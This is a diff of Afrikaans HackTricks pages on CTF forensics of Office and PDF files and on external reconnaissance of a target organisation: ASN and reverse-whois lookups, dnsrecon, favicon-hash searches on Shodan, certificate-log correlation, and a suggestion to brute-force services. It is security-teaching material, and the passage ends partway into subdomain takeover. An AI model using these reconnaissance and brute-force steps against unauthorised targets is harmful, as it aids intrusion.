* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik werkstrome te bou en outomatiseer met behulp van die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
|
||||
Kry vandag toegang:
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
|
||||
Kry Vandag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
Vir verdere inligting, besoek [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Dit is net 'n opsomming:
|
||||
|
||||
Vir verdere inligting, kyk na [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Dit is net 'n opsomming:
|
||||
Microsoft het baie kantoorlêerformate geskep, met twee hooftipes wat **OLE-formate** (soos RTF, DOC, XLS, PPT) en **Office Open XML (OOXML) formate** (soos DOCX, XLSX, PPTX) insluit. Hierdie formate kan makros insluit, wat hulle teikens maak vir hengel en kwaadwillige sagteware. OOXML-lêers is gestruktureer as zip-houers, wat inspeksie deur middel van ontzip toelaat, wat die lêer- en vouerhiërargie en XML-lêerinhoud onthul.
|
||||
|
||||
Microsoft het baie kantoorlêer-formate geskep, met twee hooftipes, naamlik **OLE-formate** (soos RTF, DOC, XLS, PPT) en **Office Open XML (OOXML) formate** (soos DOCX, XLSX, PPTX). Hierdie formate kan makros insluit, wat hulle teikens maak vir hengel en kwaadwillige sagteware. OOXML-lêers is gestruktureer as zip-houers, wat inspeksie deur middel van uitpakkery moontlik maak, waar die lêer- en vouerhiërargie en XML-lêerinhoude onthul word.
|
||||
Om OOXML-lêerstrukture te verken, word die opdrag om 'n dokument te ontzip en die uitvoerstruktuur gegee. Tegnieke vir die versteek van data in hierdie lêers is gedokumenteer, wat dui op voortdurende innovasie in data-versteek binne CTF-uitdagings.
|
||||
|
||||
Om OOXML-lêerstrukture te verken, word die opdrag om 'n dokument uit te pak en die uitsetstruktuur gegee. Tegnieke vir die versteek van data in hierdie lêers is gedokumenteer, wat voortdurende innovasie in data-versteek binne CTF-uitdagings aandui.
|
||||
Vir ontleding bied **oletools** en **OfficeDissector** omvattende gereedskapstelle vir die ondersoek van beide OLE- en OOXML-dokumente. Hierdie gereedskap help om ingeslote makros te identifiseer en te ontleed, wat dikwels as vektore vir kwaadwillige sagteware-aflewering dien, wat tipies aanvullende skadelike vragte aflaai en uitvoer. Ontleding van VBA-makros kan uitgevoer word sonder Microsoft Office deur gebruik te maak van Libre Office, wat foutopsporing met breekpunte en kykveranderlikes moontlik maak.
|
||||
|
||||
Vir ontleding bied **oletools** en **OfficeDissector** omvattende gereedskapstelle vir die ondersoek van beide OLE- en OOXML-dokumente. Hierdie gereedskap help om ingebedde makros te identifiseer en te analiseer, wat dikwels as vektore vir kwaadwillige sagteware-aflewering dien, wat tipies aanvullende skadelike lading aflaai en uitvoer. Analise van VBA-makros kan uitgevoer word sonder Microsoft Office deur gebruik te maak van Libre Office, wat voorsiening maak vir foutopsporing met breekpunte en kykveranderlikes.
|
||||
|
||||
Die installasie en gebruik van **oletools** is eenvoudig, met opdragte wat voorsien word vir installasie via pip en die onttrekking van makros uit dokumente. Outomatiese uitvoering van makros word geaktiveer deur funksies soos `AutoOpen`, `AutoExec`, of `Document_Open`.
|
||||
Die installasie en gebruik van **oletools** is maklik, met opdragte wat voorsien word vir installering via pip en die onttrekking van makros uit dokumente. Outomatiese uitvoering van makros word geaktiveer deur funksies soos `AutoOpen`, `AutoExec`, of `Document_Open`.
|
||||
```bash
|
||||
sudo pip3 install -U oletools
|
||||
olevba -c /path/to/document #Extract macros
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en outomatiese werksvloeie te bou met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.\
|
||||
Kry vandag toegang:
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
|
||||
Kry Vandaag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -49,10 +49,10 @@ Kry vandag toegang:
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repositoriums.
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,27 +6,27 @@
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSKRIPSIEPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik werkstrome te bou en outomatiseer met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.\
|
||||
Kry vandag toegang:
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
|
||||
Kry Vandag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
**Vir verdere besonderhede, kyk na: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)**
|
||||
**Vir verdere besonderhede, kyk na:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
|
||||
|
||||
Die PDF-formaat is bekend vir sy kompleksiteit en potensiaal om data te verberg, wat dit 'n fokuspunt maak vir CTF-forensiese uitdagings. Dit kombineer plain-tekstelemente met binêre voorwerpe, wat moontlik saamgedruk of versleutel kan wees, en kan skripte in tale soos JavaScript of Flash insluit. Om die PDF-struktuur te verstaan, kan verwys word na Didier Stevens se [inleidende materiaal](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), of gebruik maak van hulpmiddels soos 'n teksredigeerder of 'n PDF-spesifieke redigeerder soos Origami.
|
||||
Die PDF-formaat is bekend vir sy kompleksiteit en potensiaal om data te verberg, wat dit 'n fokuspunt maak vir CTF forensiese uitdagings. Dit kombineer platte-tekstelemente met binêre voorwerpe, wat moontlik saamgedruk of versleutel kan wees, en kan skripte in tale soos JavaScript of Flash insluit. Om die PDF-struktuur te verstaan, kan 'n persoon verwys na Didier Stevens se [inleidende materiaal](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), of gereedskap soos 'n teksredigeerder of 'n PDF-spesifieke redigeerder soos Origami gebruik.
|
||||
|
||||
Vir diepgaande verkenning of manipulasie van PDF's is hulpmiddels soos [qpdf](https://github.com/qpdf/qpdf) en [Origami](https://github.com/mobmewireless/origami-pdf) beskikbaar. Versteekte data binne PDF's kan verskuil wees in:
|
||||
Vir diepgaande verkenning of manipulasie van PDF's, is gereedskap soos [qpdf](https://github.com/qpdf/qpdf) en [Origami](https://github.com/mobmewireless/origami-pdf) beskikbaar. Versteekte data binne PDF's kan verberg wees in:
|
||||
|
||||
* Onsigbare lae
|
||||
* XMP-metadata-formaat deur Adobe
|
||||
|
@ -35,7 +35,7 @@ Vir diepgaande verkenning of manipulasie van PDF's is hulpmiddels soos [qpdf](ht
|
|||
* Teks agter beelde of oorvleuelende beelde
|
||||
* Nie-vertoonde kommentaar
|
||||
|
||||
Vir aangepaste PDF-ontleding kan Python-biblioteke soos [PeepDF](https://github.com/jesparza/peepdf) gebruik word om spesiale ontledingsskripte te skep. Verder is die potensiaal van die PDF vir versteekte data-opberging so groot dat bronne soos die NSA-gids oor PDF-risiko's en teenmaatreëls, alhoewel dit nie meer by sy oorspronklike plek gehuisves word nie, steeds waardevolle insigte bied. 'n [Afskrif van die gids](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) en 'n versameling [PDF-formaat-truuks](https://github.com/corkami/docs/blob/master/PDF/PDF.md) deur Ange Albertini kan verdere leesstof oor die onderwerp bied.
|
||||
Vir aangepaste PDF-ontleding kan Python-biblioteke soos [PeepDF](https://github.com/jesparza/peepdf) gebruik word om op maat gemaakte ontledingsskripte te skep. Verder is die potensiaal van die PDF vir versteekte data-opberging so groot dat bronne soos die NSA-gids oor PDF-risiko's en teenmaatreëls, alhoewel nie meer by sy oorspronklike plek gehuisves nie, steeds waardevolle insigte bied. 'n [Kopie van die gids](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) en 'n versameling van [PDF-formaat truuks](https://github.com/corkami/docs/blob/master/PDF/PDF.md) deur Ange Albertini kan verdere leesstof oor die onderwerp bied.
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -43,10 +43,10 @@ Vir aangepaste PDF-ontleding kan Python-biblioteke soos [PeepDF](https://github.
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSKRIPSIEPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
|
@ -10,13 +10,13 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Indien jy belangstel in 'n **hacking-loopbaan** en die onhackbare wil hack - **ons is aan die aanstel!** (_vloeiend in Pools geskrewe en gesproke vereis_).
|
||||
As jy belangstel in 'n **hack-loopbaan** en die onhackbare wil hack - **ons is aan die werf!** (_vloeiend in Pools geskrewe en gesproke vereis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -29,7 +29,7 @@ Die doel van hierdie fase is om al die **maatskappye wat deur die hoofmaatskappy
|
|||
1. Vind die verkrygings van die hoofmaatskappy, dit sal ons die maatskappye binne die omvang gee.
|
||||
2. Vind die ASN (indien enige) van elke maatskappy, dit sal ons die IP-reeks besit deur elke maatskappy gee
|
||||
3. Gebruik omgekeerde whois-opsoeke om te soek na ander inskrywings (organisasienames, domeine...) wat verband hou met die eerste een (dit kan rekursief gedoen word)
|
||||
4. Gebruik ander tegnieke soos shodan `org`en `ssl`filters om te soek na ander bates (die `ssl`truk kan rekursief gedoen word).
|
||||
4. Gebruik ander tegnieke soos shodan `org`en `ssl`filters om te soek na ander bates (die `ssl`-truk kan rekursief gedoen word).
|
||||
|
||||
### **Verkrygings**
|
||||
|
||||
|
@ -41,7 +41,7 @@ Een opsie is om [https://www.crunchbase.com/](https://www.crunchbase.com) te bes
|
|||
|
||||
### **ASNs**
|
||||
|
||||
'n Outonome stelselnommer (**ASN**) is 'n **unieke nommer** wat toegewys word aan 'n **outonome stelsel** (AS) deur die **Internet Assigned Numbers Authority (IANA)**.\
|
||||
'n Outonome stelselnommer (**ASN**) is 'n **unieke nommer** wat deur die **Internet Assigned Numbers Authority (IANA)** aan 'n **outonome stelsel** (AS) toegeken word.\
|
||||
'n **AS** bestaan uit **blokke** van **IP-adresse** wat 'n duidelik gedefinieerde beleid vir toegang tot eksterne netwerke het en deur 'n enkele organisasie geadministreer word, maar uit verskeie operateurs kan bestaan.
|
||||
|
||||
Dit is interessant om te vind of die **maatskappy enige ASN toegewys het** om sy **IP-reeks** te vind. Dit sal interessant wees om 'n **kwesbaarheidstoets** uit te voer teen al die **gasheer** binne die **omvang** en te soek na domeine binne hierdie IP's.\
|
||||
|
@ -74,21 +74,21 @@ Jy kan die IP en ASN van 'n domein vind deur [http://ipv4info.com/](http://ipv4i
|
|||
|
||||
### **Op soek na kwesbaarhede**
|
||||
|
||||
Op hierdie punt weet ons **al die bates binne die omvang**, so as jy toegelaat word, kan jy 'n paar **kwesbaarheidsskanderings** (Nessus, OpenVAS) oor al die gasheers lanceer.\
|
||||
Jy kan ook 'n paar [**poortskanderings**](../pentesting-network/#discovering-hosts-from-the-outside) **lanceer of dienste soos** shodan **gebruik om** oop poorte **te vind en afhangende van wat jy vind, moet jy** hierdie boek deursoek om te sien hoe om verskeie moontlike dienste te pentest.\
|
||||
Op hierdie punt weet ons **alle bates binne die omvang**, so as jy toegelaat word, kan jy 'n paar **kwesbaarheidsskanderings** (Nessus, OpenVAS) oor al die gasheerservers uitvoer.\
|
||||
Jy kan ook 'n paar [**poortskanderings**](../pentesting-network/#discovering-hosts-from-the-outside) **uitvoer of dienste soos** shodan **gebruik om** oop poorte **te vind en afhangende van wat jy vind, moet jy** hierdie boek deursoek om te sien hoe om verskeie moontlike dienste te pentest.\
|
||||
**Dit kan ook die moeite werd wees om te noem dat jy ook 'n paar** standaard gebruikersnaam **en** wagwoorde **lyste kan voorberei en probeer om dienste te** bruteforce met [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
|
||||
## Domeine
|
||||
|
||||
> Ons ken al die maatskappye binne die omvang en hul bates, dit is tyd om die domeine binne die omvang te vind.
|
||||
|
||||
_Merk asseblief op dat in die volgende voorgestelde tegnieke jy ook subdomeine kan vind en daardie inligting moet nie onderskat word nie._
|
||||
_Geliewe daarop te let dat in die volgende voorgestelde tegnieke jy ook subdomeine kan vind en daardie inligting moet nie onderskat word nie._
|
||||
|
||||
Eerstens moet jy soek na die **hoofdomein**(e) van elke maatskappy. Byvoorbeeld, vir _Tesla Inc._ gaan dit _tesla.com_ wees.
|
||||
|
||||
### **Omgekeerde DNS**
|
||||
|
||||
Aangesien jy al die IP-reeks van die domeine gevind het, kan jy probeer om **omgekeerde DNS-opsoeke** op daardie **IP's uit te voer om meer domeine binne die omvang te vind**. Probeer om 'n paar dns-bedieners van die slagoffer of 'n paar bekende dns-bedieners (1.1.1.1, 8.8.8.8) te gebruik.
|
||||
Aangesien jy al die IP-reeks van die domeine gevind het, kan jy probeer om **omgekeerde DNS-opsoeke** op daardie **IP's uit te voer om meer domeine binne die omvang te vind**. Probeer om 'n DNS-bediener van die slagoffer of 'n bekende DNS-bediener (1.1.1.1, 8.8.8.8) te gebruik.
|
||||
```bash
|
||||
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
||||
|
@ -100,8 +100,8 @@ Jy kan ook 'n aanlyn gereedskap gebruik vir hierdie inligting: [http://ptrarchiv
|
|||
|
||||
### **Omgekeerde Whois (lus)**
|
||||
|
||||
Binne 'n **whois** kan jy baie interessante **inligting** vind soos **organisasienaam**, **adres**, **e-posse**, telefoonnommers... Maar wat selfs meer interessant is, is dat jy **meer bates wat verband hou met die maatskappy** kan vind as jy **omgekeerde whois-opsoekings deur enige van daardie velde** uitvoer (byvoorbeeld ander whois-registre waar dieselfde e-pos verskyn).\
|
||||
Jy kan aanlyn gereedskappe gebruik soos:
|
||||
Binne 'n **whois** kan jy baie interessante **inligting** vind soos **organisasienaam**, **adres**, **e-posadresse**, telefoonnommers... Maar wat selfs meer interessant is, is dat jy **meer bates wat verband hou met die maatskappy** kan vind as jy **omgekeerde whois-opsoeke uitvoer deur enige van daardie velde** (byvoorbeeld ander whois-registre waar dieselfde e-pos verskyn).\
|
||||
Jy kan aanlyn gereedskap soos gebruik:
|
||||
|
||||
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratis**
|
||||
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Gratis**
|
||||
|
@ -111,8 +111,8 @@ Jy kan aanlyn gereedskappe gebruik soos:
|
|||
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Nie Gratis (slegs **100 gratis** soektogte)
|
||||
* [https://www.domainiq.com/](https://www.domainiq.com) - Nie Gratis nie
|
||||
|
||||
Jy kan hierdie taak outomatiseer deur [**DomLink** ](https://github.com/vysecurity/DomLink)(vereis 'n whoxy API-sleutel).\
|
||||
Jy kan ook 'n paar outomatiese omgekeerde whois-ontdekkings doen met [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
|
||||
Jy kan hierdie taak outomatiseer met [**DomLink** ](https://github.com/vysecurity/DomLink)(vereis 'n whoxy API-sleutel).\
|
||||
Jy kan ook enkele outomatiese omgekeerde whois-ontdekkings doen met [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
|
||||
|
||||
**Let daarop dat jy hierdie tegniek kan gebruik om meer domeinname te ontdek elke keer as jy 'n nuwe domein vind.**
|
||||
|
||||
|
@ -121,7 +121,7 @@ Jy kan ook 'n paar outomatiese omgekeerde whois-ontdekkings doen met [amass](htt
|
|||
As jy dieselfde ID van dieselfde opvolger op 2 verskillende bladsye vind, kan jy aanneem dat **beide bladsye** deur dieselfde span **bestuur word**.\
|
||||
Byvoorbeeld, as jy dieselfde **Google Analytics ID** of dieselfde **Adsense ID** op verskeie bladsye sien.
|
||||
|
||||
Daar is 'n paar bladsye en gereedskappe wat jou toelaat om te soek volgens hierdie opvolgers en meer:
|
||||
Daar is bladsye en gereedskap wat jou toelaat om te soek na hierdie opvolgers en meer:
|
||||
|
||||
* [**Udon**](https://github.com/dhn/udon)
|
||||
* [**BuiltWith**](https://builtwith.com)
|
||||
|
@ -136,11 +136,11 @@ Het jy geweet dat ons verwante domeine en subdomeine aan ons teiken kan vind deu
|
|||
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
||||
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||
```
|
||||

|
||||

|
||||
|
||||
Eenvoudig gestel, favihash sal ons in staat stel om domeine te ontdek wat dieselfde favicon-ikoon hash as ons teiken het.
|
||||
Eenvoudig gestel, favihash sal ons in staat stel om domeine te ontdek wat dieselfde favicon-ikoon-hash as ons teiken het.
|
||||
|
||||
Verder kan jy ook tegnologieë soek deur die favicon hash te gebruik soos verduidelik in [**hierdie blogpos**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Dit beteken dat as jy die **hash van die favicon van 'n kwesbare weergawe van 'n webtegnologie** ken, kan jy soek of dit in shodan is en **meer kwesbare plekke vind**:
|
||||
Verder kan jy ook tegnologieë soek deur die favicon-hash te gebruik soos verduidelik in [**hierdie blogpos**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Dit beteken dat as jy die **hash van die favicon van 'n kwesbare weergawe van 'n webtegnologie** ken, kan jy soek of dit in shodan is en **meer kwesbare plekke vind**:
|
||||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
|
@ -159,25 +159,20 @@ return fhash
|
|||
```
|
||||
### **Auteursreg / Unieke string**
|
||||
|
||||
Soek binne die webbladsye vir **strings wat oor verskillende webwerwe in dieselfde organisasie gedeel kan word**. Die **auteursregstring** kan 'n goeie voorbeeld wees. Soek dan vir daardie string in **Google**, in ander **blaaier** of selfs in **Shodan**: `shodan search http.html:"Auteursregstring"`
|
||||
Soek binne die webbladsye na **strings wat oor verskillende webwerwe in dieselfde organisasie gedeel kan word**. Die **auteursregstring** kan 'n goeie voorbeeld wees. Soek dan vir daardie string in **Google**, in ander **blaaier** of selfs in **Shodan**: `shodan search http.html:"Auteursregstring"`
|
||||
|
||||
### **CRT-tyd**
|
||||
|
||||
Dit is algemeen om 'n cron-werk soos dit te hê
|
||||
Dit is algemeen om 'n cron-werk soos die volgende te hê:
|
||||
```bash
|
||||
# /etc/crontab
|
||||
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
|
||||
```
|
||||
### **Eksternale Ondersoek Metodologie**
|
||||
|
||||
Om al die domeinsertifikate op die bediener te hernu. Dit beteken dat selfs as die CA wat hiervoor gebruik word nie die tyd waarop dit gegenereer is in die Geldigheidstyd instel nie, dit moontlik is om **domeine wat aan dieselfde maatskappy behoort in die sertifikaattransparantielogboeke te vind**.\
|
||||
Kyk na hierdie [**verslag vir meer inligting**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
|
||||
|
||||
### **Passiewe Oorname**
|
||||
|
||||
Dit is blykbaar algemeen vir mense om subdomeine aan IP-adresse toe te ken wat aan wolkverskaffers behoort en op 'n stadium daardie IP-adres **te verloor maar vergeet om die DNS-rekord te verwyder**. Daarom, deur net 'n VM te **begin in 'n wolk (soos Digital Ocean)**, sal jy eintlik **sekere subdomeine oorneem**.
|
||||
